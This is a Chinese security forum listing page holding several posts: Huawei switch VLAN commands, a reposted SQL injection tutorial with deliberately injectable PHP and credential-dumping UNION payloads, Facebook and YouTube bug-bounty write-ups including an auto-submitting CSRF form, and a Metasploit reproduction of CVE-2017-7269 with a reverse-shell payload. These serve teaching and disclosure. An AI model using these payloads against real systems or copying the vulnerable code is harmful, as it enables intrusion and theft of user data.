ENSP基础命令解释和VLAN的划分

协议安全sq_smile 发表了文章 • 0 个评论 • 70 次浏览 • 2019-05-05 21:13 • 来自相关话题

0X01    ENSP交换机基础命令及解释
<Huawei> 用户模式,权限比较低,做不了太多的事情。
[Huawei] 系统模式,
system-view 进入系统模式
display interface brief 查看所有的端口信息
display mac-address dynamic 查看mac地址表
dis int Ethernet 0/0/1 查看0/0/1端口下的详细情况
display current-configuration 查看当前全局配置 缩写命令:display cu

0X02    利用ENSP划分VLAN
        1、为什么要划分VLAN
1) 隔离域冲突和广播域,解决广播风暴。这是划分VLAN最大的好处。
2) 出于安全的考虑,不同的VLAN成员之间在没有三层路由的前提下是不能互相访问的。
3) 管理灵活:当一个用户需要切换到另外一个网络的时候,只需要更改switch和VLAN划分即可,而不用换端口和连线。
        2、划分VLAN实验的拓扑图





 
        3、实验的流程
1、给四个PC机配置IP地址。
2、将连接PC的端口配置成为access
int e0/0/1
port link-type access 指定端口模式为access模式
quit 退出当前端口
3、创建,划分VLAN,相应的端口划分进相应的VLAN.
VLAN 10
des SALES
port e0/0/1
port e0/0/3 创建VLAN10,描述信息为SALES,并将e0/0/1和e0/0/3划分进VLAN10
VLAN 20
des CAIWU
port e0/0/2
port e0/0/4 创建VLAN20,描述信息为CAIWU,并将e0/0/2和e0/0/4划分进VLAN10
4、display vlan 查看vlan信息,观察哪些端口划分进哪些VLAN。       4、实验结果的检测





       5、实验的结论
结论:同一个VLAN,同一个网段,连接到同一个交换机上,才能够互通 查看全部
0X01    ENSP交换机基础命令及解释
<Huawei>        用户模式,权限比较低,做不了太多的事情。
[Huawei] 系统模式,
system-view 进入系统模式
display interface brief 查看所有的端口信息
display mac-address dynamic 查看mac地址表
dis int Ethernet 0/0/1 查看0/0/1端口下的详细情况
display current-configuration 查看当前全局配置 缩写命令:display cu

0X02    利用ENSP划分VLAN
        1、为什么要划分VLAN
1)	隔离域冲突和广播域,解决广播风暴。这是划分VLAN最大的好处。
2) 出于安全的考虑,不同的VLAN成员之间在没有三层路由的前提下是不能互相访问的。
3) 管理灵活:当一个用户需要切换到另外一个网络的时候,只需要更改switch和VLAN划分即可,而不用换端口和连线。
        2、划分VLAN实验的拓扑图

4---VLAN划分实验拓扑.png

 
        3、实验的流程
1、给四个PC机配置IP地址。
2、将连接PC的端口配置成为access
int e0/0/1
port link-type access 指定端口模式为access模式
quit 退出当前端口
3、创建,划分VLAN,相应的端口划分进相应的VLAN.
VLAN 10
des SALES
port e0/0/1
port e0/0/3 创建VLAN10,描述信息为SALES,并将e0/0/1和e0/0/3划分进VLAN10
VLAN 20
des CAIWU
port e0/0/2
port e0/0/4 创建VLAN20,描述信息为CAIWU,并将e0/0/2和e0/0/4划分进VLAN10
4、display vlan 查看vlan信息,观察哪些端口划分进哪些VLAN。
       4、实验结果的检测

3---VLAN划分.png

       5、实验的结论
结论:同一个VLAN,同一个网段,连接到同一个交换机上,才能够互通

【转】SQL注入--搜索型

Web安全渗透main 发表了文章 • 0 个评论 • 145 次浏览 • 2019-05-05 16:25 • 来自相关话题

一、搜索型注入简介与原理

1)简介
一些网站为了方便用户查找网站的资源,都对用户提供了搜索的功能,因为是搜索功能,往往是程序员在编写代码时都忽略了对其变量(参数)的过滤,而且这样的漏洞在国内的系统中普遍的存在:


其中又分为POST/GET,GET型的一般是用在网站上的搜索,而POST则用在用户名的登录,可以从form表单的method="get"属性来区分是get还是post。搜索型注入又称为文本框注入。


2)原理$sql="select * from user where password like '%$pwd%' order by password"; 
这句SQL的语句就是基于用户输入的pwd在users表中找到相应的password,正常用户当然会输入例如admin,ckse等等。但是如果有人输入这样的内容呢?'and 1=1 and '%'='
这样的话这句SQL语句就变成了这样:select * from user where password like '%fendo'and 1=1 and '%'='%' order by password存在SQL注入。

二、搜索型注入判断
 判断搜索型注入的方法:1 搜索keywords‘,如果出错的话,有90%的可能性存在漏洞;

2 搜索 keywords%,如果同样出错的话,就有95%的可能性存在漏洞;

3 搜索keywords% 'and 1=1 and '%'='(这个语句的功能就相当于普通SQL注入的 and 1=1)看返回的情况

4 搜索keywords% 'and 1=2 and '%'='(这个语句的功能就相当于普通SQL注入的 and 1=2)看返回的情况

5 根据两次的返回情况来判断是不是搜索型文本框注入了

下面这几种语句都可以:'and 1=1 and '%'='

%' and 1=1--'

%' and 1=1 and '%'='
 
 三、搜索型注入实战


1)GET型注入
 
测试源码: <?
$pwd=$_GET['pwd'];
$conn=mysql_connect("127.0.0.1","root","123");//连接mysql数据库
if($conn){
echo "连接数据库成功!";
}//判断连接是否成功
echo "<br>";
mysql_select_db('fendo',$conn);//选择连接请求为conn的数据库(fendo)
$sql="select * from user where password like '%$pwd%' order by password"; //字符型搜索语句
$result=mysql_query($sql);
while($row = mysql_fetch_array($result)){
echo "用户ID:".$row['id']."<br >";
echo "用户名:".$row['username']."<br >";
echo "用户密码:".$row['password']."<br >";
echo "用户邮箱:".$row['email']."<br >";
}
mysql_close($conn); //关闭数据库连接
echo "<hr>";
echo "你当前执行的sql语句为:"."<br >";
echo $sql;
?>
 
1.判断字段数

语句:%' union select 1,2,3,4,...... and '%'='





还有种方法
语句: %' and exists (select id from user where LENGTH(username)<6 and id=1) and '%'='
把6这个数字逐次更换,直到他不报错为止。如下当它小于6时正确,说明字段数为5。
 






2.判断表名

语句:%'and(select count(*)from admin)>0 and '%'='





把admin这个表名逐次更换,直到他不报错为止,就说明这个表存在。


3.猜解密码

由于这里用的就是密码,所以这里换成猜解用户名
 
 
2)POST型注入

测试源码:<?

//--------------------------post处理--------------------------------//

$name=addslashes($_POST['n']);

$pass=addslashes($_POST['p']);

$conn = mysql_connect('127.0.0.1','root','123');

if($conn){

echo "mysql连接成功";

echo "<hr>";

}

mysql_select_db('fendo',$conn);

$sql="select * from user where username='$name' and password='$pass'";

$result=mysql_query($sql);

mysql_close($conn);

while($row = mysql_fetch_array($result)){

echo "用户ID:".$row['id']."<br >";

echo "用户名:".$row['username']."<br >";

echo "用户密码:".$row['password']."<br >";

}

echo "当前执行的sql语句:".$sql;

?>



<form action="" method="POST">

账号:<input name="n" type="text" /><br><br>

密码:<input name="p" type="text" /><br><br>

<input name="" type="submit" value="提交" />



</form>






1.判断是否存在SQL注入

用PHP万能密码进行测试' or 1=1#







在用户名里输入万能密码如果没报错,就说明存在SQL注入。
 
 
2.猜字段数' order by 4#





逐次更改数字去猜,直到不报错为止。
 
 
3.猜表名'or 1=1 union select 1,2,3,4 #





逐次累加数字,直到不报错为止。
 
 
4.猜内容
 
替换1,2,3为你想要获得的内容




'or 1=1 union select username,password,3,4 from user#
 
 
 
转自:https://blog.csdn.net/u011781521/article/details/57083482 查看全部
一、搜索型注入简介与原理

1)简介
一些网站为了方便用户查找网站的资源,都对用户提供了搜索的功能,因为是搜索功能,往往是程序员在编写代码时都忽略了对其变量(参数)的过滤,而且这样的漏洞在国内的系统中普遍的存在:


其中又分为POST/GET,GET型的一般是用在网站上的搜索,而POST则用在用户名的登录,可以从form表单的method="get"属性来区分是get还是post。搜索型注入又称为文本框注入。


2)原理
$sql="select * from user where password like '%$pwd%' order by password";
 
这句SQL的语句就是基于用户输入的pwd在users表中找到相应的password,正常用户当然会输入例如admin,ckse等等。但是如果有人输入这样的内容呢?
'and 1=1 and '%'='

这样的话这句SQL语句就变成了这样:
select * from user where password like '%fendo'and 1=1 and '%'='%' order by password
存在SQL注入。

二、搜索型注入判断
 判断搜索型注入的方法:
1 搜索keywords‘,如果出错的话,有90%的可能性存在漏洞;

2 搜索 keywords%,如果同样出错的话,就有95%的可能性存在漏洞;

3 搜索keywords% 'and 1=1 and '%'='(这个语句的功能就相当于普通SQL注入的 and 1=1)看返回的情况

4 搜索keywords% 'and 1=2 and '%'='(这个语句的功能就相当于普通SQL注入的 and 1=2)看返回的情况

5 根据两次的返回情况来判断是不是搜索型文本框注入了


下面这几种语句都可以:
'and 1=1 and '%'='

%' and 1=1--'

%' and 1=1 and '%'='

 
 三、搜索型注入实战


1)GET型注入
 
测试源码:
    <?
$pwd=$_GET['pwd'];
$conn=mysql_connect("127.0.0.1","root","123");//连接mysql数据库
if($conn){
echo "连接数据库成功!";
}//判断连接是否成功
echo "<br>";
mysql_select_db('fendo',$conn);//选择连接请求为conn的数据库(fendo)
$sql="select * from user where password like '%$pwd%' order by password"; //字符型搜索语句
$result=mysql_query($sql);
while($row = mysql_fetch_array($result)){
echo "用户ID:".$row['id']."<br >";
echo "用户名:".$row['username']."<br >";
echo "用户密码:".$row['password']."<br >";
echo "用户邮箱:".$row['email']."<br >";
}
mysql_close($conn); //关闭数据库连接
echo "<hr>";
echo "你当前执行的sql语句为:"."<br >";
echo $sql;
?>

 
1.判断字段数

语句:
%' union select 1,2,3,4,...... and '%'='

1.jpg


还有种方法
语句:
  %' and exists (select id from user where LENGTH(username)<6 and id=1) and '%'='

把6这个数字逐次更换,直到他不报错为止。如下当它小于6时正确,说明字段数为5。
 
2.jpg



2.判断表名

语句:
%'and(select count(*)from admin)>0 and '%'='

3.jpg


把admin这个表名逐次更换,直到他不报错为止,就说明这个表存在。


3.猜解密码

由于这里用的就是密码,所以这里换成猜解用户名
 
 
2)POST型注入

测试源码:
<?  

//--------------------------post处理--------------------------------//

$name=addslashes($_POST['n']);

$pass=addslashes($_POST['p']);

$conn = mysql_connect('127.0.0.1','root','123');

if($conn){

echo "mysql连接成功";

echo "<hr>";

}

mysql_select_db('fendo',$conn);

$sql="select * from user where username='$name' and password='$pass'";

$result=mysql_query($sql);

mysql_close($conn);

while($row = mysql_fetch_array($result)){

echo "用户ID:".$row['id']."<br >";

echo "用户名:".$row['username']."<br >";

echo "用户密码:".$row['password']."<br >";

}

echo "当前执行的sql语句:".$sql;

?>



<form action="" method="POST">

账号:<input name="n" type="text" /><br><br>

密码:<input name="p" type="text" /><br><br>

<input name="" type="submit" value="提交" />



</form>

4.jpg



1.判断是否存在SQL注入

用PHP万能密码进行测试
' or 1=1#  

5.jpg




在用户名里输入万能密码如果没报错,就说明存在SQL注入。
 
 
2.猜字段数
' order by 4#  

6.jpg


逐次更改数字去猜,直到不报错为止。
 
 
3.猜表名
'or 1=1 union select 1,2,3,4 #  

7.jpg


逐次累加数字,直到不报错为止。
 
 
4.猜内容
 
替换1,2,3为你想要获得的内容

8.jpg
'or 1=1 union select username,password,3,4 from user#   

 
 
 
转自:https://blog.csdn.net/u011781521/article/details/57083482

【转】挖洞经验丨看我如何获取Facebook用户的隐私好友列表

Web安全渗透willeson 发表了文章 • 0 个评论 • 72 次浏览 • 2019-04-29 12:33 • 来自相关话题

当拥有个人信息的组织机构发生数据失窃或遭受未授权访问行为时,就可能发生用户信息泄露事件。通常来说,这是种安全事件会导致一些敏感受保护的机密数据被广泛流传、分析或恶意利用。本文分享的漏洞writeup,只需知道Facebook用户的注册邮箱或者手机号码,就能间接获取该用户相关的隐私好友列表,进而推断出用户的一个大致的社交关系图谱。漏洞最终获得了Facebook官方$10,000美金的奖励。
按照Facebook帮助页面的说明来看,“你可能认识的人”(People You May Know)这项功能可以帮助Facebook用户找到更多相识的朋友,该功能建立起你和对方之间的关系是基于以下因素来进行判断的:

1.你们之间有共同朋友或存在相互朋友关系,这也是建立这种可能认识关系的最根本原因;
2.你们在同一个Facebook群组中,或是在同一张照片中被标记过;
3.另外就是你们通过同一个网络出口(学校、单位)登录过Facebook账户。

Facebook好友列表的隐私设置
默认来说,Facebook用户的好友列表是公开的,当然,Facebook也给这个好友列表设置了三种不同的隐私选项:公开、朋友可见和仅自己可见等自定义设置),具体参考Facebook帮助页面说明。漏洞发现
这里作者发现的漏洞是这样的:首先,在用户注册阶段,恶意攻击者可以通过先输入目标受害者的手机号码作为注册确认的手机号码,如下:
之后,Facebook会向这个手机号码发送一个短信验证码,而且要求在确认界面输入这个验证码,如下:
当然了,恶意攻击者肯定是不知道目标受害者的短信内容了,更别提这个短信验证码了。所以,在这里攻击者可以点击界面中出现的“更新联系方式”(Update Contact info)按钮,在跳出的新手机号码或新邮箱地址添加栏中,填写攻击者自己的邮箱地址hack@rajsek.com,如下:
接下来,攻击者自己的邮箱hack@rajsek.com中会收到一封Facebook发来的验证码邮件,在之前的确认界面中填写这个验证码,选择“继续”(Continue)。然后,Facebook会提示该账户与hack@rajsek.com是绑定关系,且需攻击者以邮箱hack@rajsek.com作为登录凭据完成登录:
现在,我们转到以下链接去:

https://www.facebook.com/friends/requests/?fcref=swpsa

这个链接是“你可能认识的人”URL,或者直接用curl对以下链接请求进行抓包:
 [code]curl ‘https://www.facebook.com/gettingstarted/?step=friend_requests' -H ‘authority: www.facebook.com' -H ‘referer: https://www.facebook.com/gettingstarted/' -H ‘cookie: xxxx’ — compressed[/code]
 
这里,Facebook向恶意攻击者推送的“你可能认识的人”相关列表,正是目标受害者的好友列表,如下:

整个过程可在以下PoC视频中观看,视频中作者用目标受害者邮箱为注册人信息,用自己的手机号码作为联系更新信息,最终,这种方式也能同样获得目标受害者好友列表:
 漏洞总结
该漏洞可以被一些恶意用户或攻击者利用,间接判断出目标受害者的社交关系图谱。前提在于,只需要知道目标受害者的注册Facebook时使用的邮箱地址或者手机号码,可以通过社工方式或是前述提到的好友关系建立依据来获得。漏洞上报进程
2018.10.16  向Facebook进行漏洞初报;
2019.3.20   Facebook奖励我 $10,000 USD; 查看全部

当拥有个人信息的组织机构发生数据失窃或遭受未授权访问行为时,就可能发生用户信息泄露事件。通常来说,这是种安全事件会导致一些敏感受保护的机密数据被广泛流传、分析或恶意利用。本文分享的漏洞writeup,只需知道Facebook用户的注册邮箱或者手机号码,就能间接获取该用户相关的隐私好友列表,进而推断出用户的一个大致的社交关系图谱。漏洞最终获得了Facebook官方$10,000美金的奖励。
按照Facebook帮助页面的说明来看,“你可能认识的人”(People You May Know)这项功能可以帮助Facebook用户找到更多相识的朋友,该功能建立起你和对方之间的关系是基于以下因素来进行判断的:


1.你们之间有共同朋友或存在相互朋友关系,这也是建立这种可能认识关系的最根本原因;
2.你们在同一个Facebook群组中,或是在同一张照片中被标记过;
3.另外就是你们通过同一个网络出口(学校、单位)登录过Facebook账户。


Facebook好友列表的隐私设置
默认来说,Facebook用户的好友列表是公开的,当然,Facebook也给这个好友列表设置了三种不同的隐私选项:公开、朋友可见和仅自己可见等自定义设置),具体参考Facebook帮助页面说明。漏洞发现
这里作者发现的漏洞是这样的:首先,在用户注册阶段,恶意攻击者可以通过先输入目标受害者的手机号码作为注册确认的手机号码,如下:
之后,Facebook会向这个手机号码发送一个短信验证码,而且要求在确认界面输入这个验证码,如下:
当然了,恶意攻击者肯定是不知道目标受害者的短信内容了,更别提这个短信验证码了。所以,在这里攻击者可以点击界面中出现的“更新联系方式”(Update Contact info)按钮,在跳出的新手机号码或新邮箱地址添加栏中,填写攻击者自己的邮箱地址hack@rajsek.com,如下:
接下来,攻击者自己的邮箱hack@rajsek.com中会收到一封Facebook发来的验证码邮件,在之前的确认界面中填写这个验证码,选择“继续”(Continue)。然后,Facebook会提示该账户与hack@rajsek.com是绑定关系,且需攻击者以邮箱hack@rajsek.com作为登录凭据完成登录:
现在,我们转到以下链接去:


https://www.facebook.com/friends/requests/?fcref=swpsa


这个链接是“你可能认识的人”URL,或者直接用curl对以下链接请求进行抓包:
 
[code]curl ‘https://www.facebook.com/gettingstarted/?step=friend_requests' -H ‘authority: www.facebook.com' -H ‘referer: https://www.facebook.com/gettingstarted/' -H ‘cookie: xxxx’ — compressed
[/code]
 
这里,Facebook向恶意攻击者推送的“你可能认识的人”相关列表,正是目标受害者的好友列表,如下:

整个过程可在以下PoC视频中观看,视频中作者用目标受害者邮箱为注册人信息,用自己的手机号码作为联系更新信息,最终,这种方式也能同样获得目标受害者好友列表:
 漏洞总结
该漏洞可以被一些恶意用户或攻击者利用,间接判断出目标受害者的社交关系图谱。前提在于,只需要知道目标受害者的注册Facebook时使用的邮箱地址或者手机号码,可以通过社工方式或是前述提到的好友关系建立依据来获得。漏洞上报进程
2018.10.16  向Facebook进行漏洞初报;
2019.3.20   Facebook奖励我 $10,000 USD;

[转]CSRF漏洞劫持Youtube用户的通知消息

Web安全渗透你可以叫我风平 发表了文章 • 0 个评论 • 80 次浏览 • 2019-04-28 22:33 • 来自相关话题

 
 
[size=15]


[/size]
         大家好,今天分享的writeup是关于YouTube通知服务(Notification)的CSRF漏洞,作者利用该漏洞可以劫持其他YouTube用户(受害者)的通知服务,能以受害者用户身份接收到其订阅频道或视频的最新通知,漏洞最终获得Google官方$3133.7美金的奖励,以下是作者的分享
 
      从POST请求中发现端倪
        某天晚上,我在YouTube官网上测试漏洞,看看能有什么发现,不知不觉时间已经是半夜00:30了,困累之极…..。我就随便点点打开了YouTube的通知服务(Notification),其中的POST请求引起了我的注意:POST /notifications_ajax?action_register_device=1 HTTP/1.1
Host: www.youtube.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://www.youtube.com/sw.js
Content-Type: multipart/form-data; boundary=---------------------------41184676334
Origin: https://www.youtube.com
Content-Length: 1459
Connection: close
Cookie: duh, cookies!
-----------------------------41184676334
Content-Disposition: form-data; name="endpoint"

https://updates.push.services.mozilla.com/wpush/v1/gAAA...

-----------------------------41184676334
Content-Disposition: form-data; name="device_id"
dbe8453d99714c6160994fdf5bb3c59332df04278a...
-----------------------------41184676334
Content-Disposition: form-data; name="p256dh_key"
BBNVkVOt6tpY1KvJJqtLvqt...
-----------------------------41184676334
Content-Disposition: form-data; name="auth_key"
V5-_lh6nYT2zoY...
-----------------------------41184676334
Content-Disposition: form-data; name="permission"
granted
-----------------------------41184676334--        乍一看,为了防止CSRF,其中的auth_key、p256dh_key、endpoint、device_id等参数貌似都是经过编码的字符串,但仔细一分析才知道,这些所有的参数都是由其中updates.push.services.mozilla.com的Mozilla通知推送服务产生的,所以,这样初略来看,该接口上不存在CSRF漏洞。
 
       分析Service Worker 服务工作线程​
 
        深入分析可知,上述POST请求中的referrer字段值为“https://www.youtube.com/sw.js”,这个sw.js明显为一个服务工作线程脚本(Service Worker)。
        Service Worker 是独立于当前页面的一段运行在浏览器后台进程里的脚本。Service Worker不需要用户打开 web 页面,也不需要其他交互,异步地运行在一个完全独立的上下文环境,不会对主线程造成阻塞。基于Service Worker可以实现消息推送、离线缓存和后台同步API等功能,本质上来说,Service Worker充当了Web应用程序与浏览器之间的代理。
        也就是说,referrer字段中的sw.js发起了这个POST请求,以至于这个请求和其它具备CSRF防御机制的YouTube请求内容存在不同。
        
       构造CSRF攻击框架​
 
        到了这一步,从这些参数里,我隐约觉得这里应该会有漏洞出现,但总要构造个PoC出来试试看。因此,通过研究以上参数的生成机制,我利用sw.js原理,编写了以下三个代码文件,构建了一个本地服务端来生成其中的各个参数。
        index.html:<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<title>Push Demo</title>
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" type="text/css" media="screen" href="index.css" />
<script src="index.js"></script>
</head>
<body>
<h1>Hello World</h1>
<button id="permission-btn" onclick="main()">Ask Permission</button>
</body>
</html>

index.js:


const check = () => {
if (!('serviceWorker' in navigator)) {
throw new Error('No Service Worker support!')
}
if (!('PushManager' in window)) {
throw new Error('No Push API Support!')
}
}
const registerServiceWorker = async () => {
const swRegistration = await navigator.serviceWorker.register('sw.js')
return swRegistration
}
const requestNotificationPermission = async () => {
const permission = await window.Notification.requestPermission()
if (permission !== 'granted') {
throw new Error('Permission not granted for Notification')
}
}
const main = async () => {
check()
const swRegistration = await registerServiceWorker()
const permission = await requestNotificationPermission()
}
sw.js:

self.addEventListener('activate', async () => { console.log("Hello");
self.registration.pushManager.subscribe()
.then(function(subscription) {
console.log(JSON.stringify(subscription));
})
.catch(function(e) {
console.log(e);
});
})
self.addEventListener("push", function(event) {
if (event.data) {
console.log("Push event!! ", event.data.text());
showLocalNotification("Yolo", event.data.text(), self.registration);
} else {
console.log("Push event but no data");
}
});
const showLocalNotification = (title, body, swRegistration) => {
const options = {
body
// here you can add more properties like icon, image, vibrate, etc.
};
swRegistration.showNotification(title, options);
};        这三个代码文件的目的在于获取sw.js请求时生成的各个参数,有了这些参数,就可以间接形成通知(Notification),打开其中的index.html页面,点击Ask Permission按钮请求通知权限,后台调用sw.js脚本,通过内置的Firefox API形成一个本地的通知服务端,通知请求提交时,我们就能获取到其中的各个参数。利用这些参数,可以进一步构造出CSRF攻击框架,就能获取到对应的通知消息。
        在本地loclalhost构造这种通知请求服务端,需要用到Service Worker 服务工作线程(sw.js)的部署原理,其中涉及服务注册、激活、缓存控制和相关响应机制,具体可参考:developer.mozilla.org和developers.google.com中的详细介绍说明。





 
        综合上述分析,基于我们之前创建的本地通知服务端,结合Youtube的通知请求提交方式,我构造了以下CSRF攻击框架:<form action="https://www.youtube.com/notifications_ajax?action_register_device=1" method="post" enctype="multipart/form-data" name="csrf">
<input type="text" name="device_id" value="replace">
<input type="text" name="permission" value="granted">
<input type="text" name="endpoint" value="replace">
<input type="text" name="p256dh_key" value="replace=">
<input type="text" name="auth_key" value="replace">
<input type="submit">
<script type="text/javascript">document.csrf.submit();</script>
</form>        让我意想不到的是,我在其中以其他Youtube账号身份,利用获取到的各种请求参数,提交了通知请求,竟然能有效实施通知消息的CSRF攻击。也就是说,我们现在可以劫持到其他Youtube账号的消息推送接口(PUSH webhook),以其他Youtube账号身份收取到Youtube响应该账号的相关通知,这些通知可能是他订阅的某个频道或视频的更新消息,也可能是他私人视频的观众评论等,如下:





 
  查看全部
 
 
[size=15]
1.jpg
[/size]
         大家好,今天分享的writeup是关于YouTube通知服务(Notification)的CSRF漏洞,作者利用该漏洞可以劫持其他YouTube用户(受害者)的通知服务,能以受害者用户身份接收到其订阅频道或视频的最新通知,漏洞最终获得Google官方$3133.7美金的奖励,以下是作者的分享
 
      从POST请求中发现端倪
        某天晚上,我在YouTube官网上测试漏洞,看看能有什么发现,不知不觉时间已经是半夜00:30了,困累之极…..。我就随便点点打开了YouTube的通知服务(Notification),其中的POST请求引起了我的注意:
POST /notifications_ajax?action_register_device=1 HTTP/1.1
Host: www.youtube.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://www.youtube.com/sw.js
Content-Type: multipart/form-data; boundary=---------------------------41184676334
Origin: https://www.youtube.com
Content-Length: 1459
Connection: close
Cookie: duh, cookies!
-----------------------------41184676334
Content-Disposition: form-data; name="endpoint"

https://updates.push.services.mozilla.com/wpush/v1/gAAA...

-----------------------------41184676334
Content-Disposition: form-data; name="device_id"
dbe8453d99714c6160994fdf5bb3c59332df04278a...
-----------------------------41184676334
Content-Disposition: form-data; name="p256dh_key"
BBNVkVOt6tpY1KvJJqtLvqt...
-----------------------------41184676334
Content-Disposition: form-data; name="auth_key"
V5-_lh6nYT2zoY...
-----------------------------41184676334
Content-Disposition: form-data; name="permission"
granted
-----------------------------41184676334--
        乍一看,为了防止CSRF,其中的auth_key、p256dh_key、endpoint、device_id等参数貌似都是经过编码的字符串,但仔细一分析才知道,这些所有的参数都是由其中updates.push.services.mozilla.com的Mozilla通知推送服务产生的,所以,这样初略来看,该接口上不存在CSRF漏洞。
 
       分析Service Worker 服务工作线程​
 
        深入分析可知,上述POST请求中的referrer字段值为“https://www.youtube.com/sw.js”,这个sw.js明显为一个服务工作线程脚本(Service Worker)。
        Service Worker 是独立于当前页面的一段运行在浏览器后台进程里的脚本。Service Worker不需要用户打开 web 页面,也不需要其他交互,异步地运行在一个完全独立的上下文环境,不会对主线程造成阻塞。基于Service Worker可以实现消息推送、离线缓存和后台同步API等功能,本质上来说,Service Worker充当了Web应用程序与浏览器之间的代理。
        也就是说,referrer字段中的sw.js发起了这个POST请求,以至于这个请求和其它具备CSRF防御机制的YouTube请求内容存在不同。
        
       构造CSRF攻击框架​
 
        到了这一步,从这些参数里,我隐约觉得这里应该会有漏洞出现,但总要构造个PoC出来试试看。因此,通过研究以上参数的生成机制,我利用sw.js原理,编写了以下三个代码文件,构建了一个本地服务端来生成其中的各个参数。
        index.html:
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<title>Push Demo</title>
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" type="text/css" media="screen" href="index.css" />
<script src="index.js"></script>
</head>
<body>
<h1>Hello World</h1>
<button id="permission-btn" onclick="main()">Ask Permission</button>
</body>
</html>

index.js:


const check = () => {
if (!('serviceWorker' in navigator)) {
throw new Error('No Service Worker support!')
}
if (!('PushManager' in window)) {
throw new Error('No Push API Support!')
}
}
const registerServiceWorker = async () => {
const swRegistration = await navigator.serviceWorker.register('sw.js')
return swRegistration
}
const requestNotificationPermission = async () => {
const permission = await window.Notification.requestPermission()
if (permission !== 'granted') {
throw new Error('Permission not granted for Notification')
}
}
const main = async () => {
check()
const swRegistration = await registerServiceWorker()
const permission = await requestNotificationPermission()
}
sw.js:

self.addEventListener('activate', async () => { console.log("Hello");
self.registration.pushManager.subscribe()
.then(function(subscription) {
console.log(JSON.stringify(subscription));
})
.catch(function(e) {
console.log(e);
});
})
self.addEventListener("push", function(event) {
if (event.data) {
console.log("Push event!! ", event.data.text());
showLocalNotification("Yolo", event.data.text(), self.registration);
} else {
console.log("Push event but no data");
}
});
const showLocalNotification = (title, body, swRegistration) => {
const options = {
body
// here you can add more properties like icon, image, vibrate, etc.
};
swRegistration.showNotification(title, options);
};
        这三个代码文件的目的在于获取sw.js请求时生成的各个参数,有了这些参数,就可以间接形成通知(Notification),打开其中的index.html页面,点击Ask Permission按钮请求通知权限,后台调用sw.js脚本,通过内置的Firefox API形成一个本地的通知服务端,通知请求提交时,我们就能获取到其中的各个参数。利用这些参数,可以进一步构造出CSRF攻击框架,就能获取到对应的通知消息。
        在本地loclalhost构造这种通知请求服务端,需要用到Service Worker 服务工作线程(sw.js)的部署原理,其中涉及服务注册、激活、缓存控制和相关响应机制,具体可参考:developer.mozilla.orgdevelopers.google.com中的详细介绍说明。

2.png

 
        综合上述分析,基于我们之前创建的本地通知服务端,结合Youtube的通知请求提交方式,我构造了以下CSRF攻击框架:
<form action="https://www.youtube.com/notifications_ajax?action_register_device=1" method="post" enctype="multipart/form-data" name="csrf">
<input type="text" name="device_id" value="replace">
<input type="text" name="permission" value="granted">
<input type="text" name="endpoint" value="replace">
<input type="text" name="p256dh_key" value="replace=">
<input type="text" name="auth_key" value="replace">
<input type="submit">
<script type="text/javascript">document.csrf.submit();</script>
</form>
        让我意想不到的是,我在其中以其他Youtube账号身份,利用获取到的各种请求参数,提交了通知请求,竟然能有效实施通知消息的CSRF攻击。也就是说,我们现在可以劫持到其他Youtube账号的消息推送接口(PUSH webhook),以其他Youtube账号身份收取到Youtube响应该账号的相关通知,这些通知可能是他订阅的某个频道或视频的更新消息,也可能是他私人视频的观众评论等,如下:

3.png

 
 

CVE-2017-7269 IIS6.0远程代码执行漏洞复现

Web安全渗透llpkk 发表了文章 • 0 个评论 • 104 次浏览 • 2019-04-21 23:59 • 来自相关话题

0x01 漏洞简介
漏洞编号:CVE-2017-7269
发现人员:Zhiniang Peng和Chen Wu(华南理工大学信息安全实验室,计算机科学与工程学院)
漏洞简述:开启WebDAV服务的IIS 6.0被爆存在缓存区溢出漏洞导致远程代码执行,目前针对 Windows Server 2003 R2 可以稳定利用,该漏洞最早在2016年7,8月份开始在野外被利用。
漏洞类型:缓冲区溢出
漏洞等级:高危
影响产品:Microsoft Windows Server 2003 R2 开启WebDAV服务的IIS6.0(目前已验证,其他版本尚未验证)
触发函数:ScStoragePathFromUrl函数
附加信息:ScStoragePathFromUrl函数被调用了两次
 
0x02 复现漏洞
复现环境:Microsoft Windows Server 2003 R2





开启了WebDAV服务





 
攻击者IP:192.168.1.144
目标机IP:192.168.1.175
 
exp:https://github.com/zcgonvh/cve-2017-7269





把exp 复制到攻击机器的/usr/share/metasploit-framework/modules/exploits/windows/iis目录下





打开神器Metasploit





输入use命令,use exploit/windows/iis/cve-2017-7269





使用命令show options





 
设置目标机ip,set RHOST 192.168.1.175设置对面网站,set HttpHost 192.168.1.175设置返回载荷,set payload windows/meterpreter/reverse_tcp设置攻击机ip,set LHOST 192.168.1.144进行溢出,exploit





 
输入shell命令,来到了我们所熟悉的界面





执行命令whoami





 
0x03 修复意见
2015年7月15日,微软已停止对Windows Server 2003的支持,所以官方没有相关解决方案,建议用户升级到最新系统 Windows Server 2016。如果不进行升级的话,请直接关闭WebDAV服务防止漏洞被利用。 查看全部
0x01 漏洞简介
漏洞编号:CVE-2017-7269
发现人员:Zhiniang Peng和Chen Wu(华南理工大学信息安全实验室,计算机科学与工程学院)
漏洞简述:开启WebDAV服务的IIS 6.0被爆存在缓存区溢出漏洞导致远程代码执行,目前针对 Windows Server 2003 R2 可以稳定利用,该漏洞最早在2016年7,8月份开始在野外被利用。
漏洞类型:缓冲区溢出
漏洞等级:高危
影响产品:Microsoft Windows Server 2003 R2 开启WebDAV服务的IIS6.0(目前已验证,其他版本尚未验证)
触发函数:ScStoragePathFromUrl函数
附加信息:ScStoragePathFromUrl函数被调用了两次

 
0x02 复现漏洞
复现环境:Microsoft Windows Server 2003 R2

1.png

开启了WebDAV服务

2.png

 
攻击者IP:192.168.1.144
目标机IP:192.168.1.175
 
exp:https://github.com/zcgonvh/cve-2017-7269

3.png

把exp 复制到攻击机器的/usr/share/metasploit-framework/modules/exploits/windows/iis目录下

4.png

打开神器Metasploit

5.png

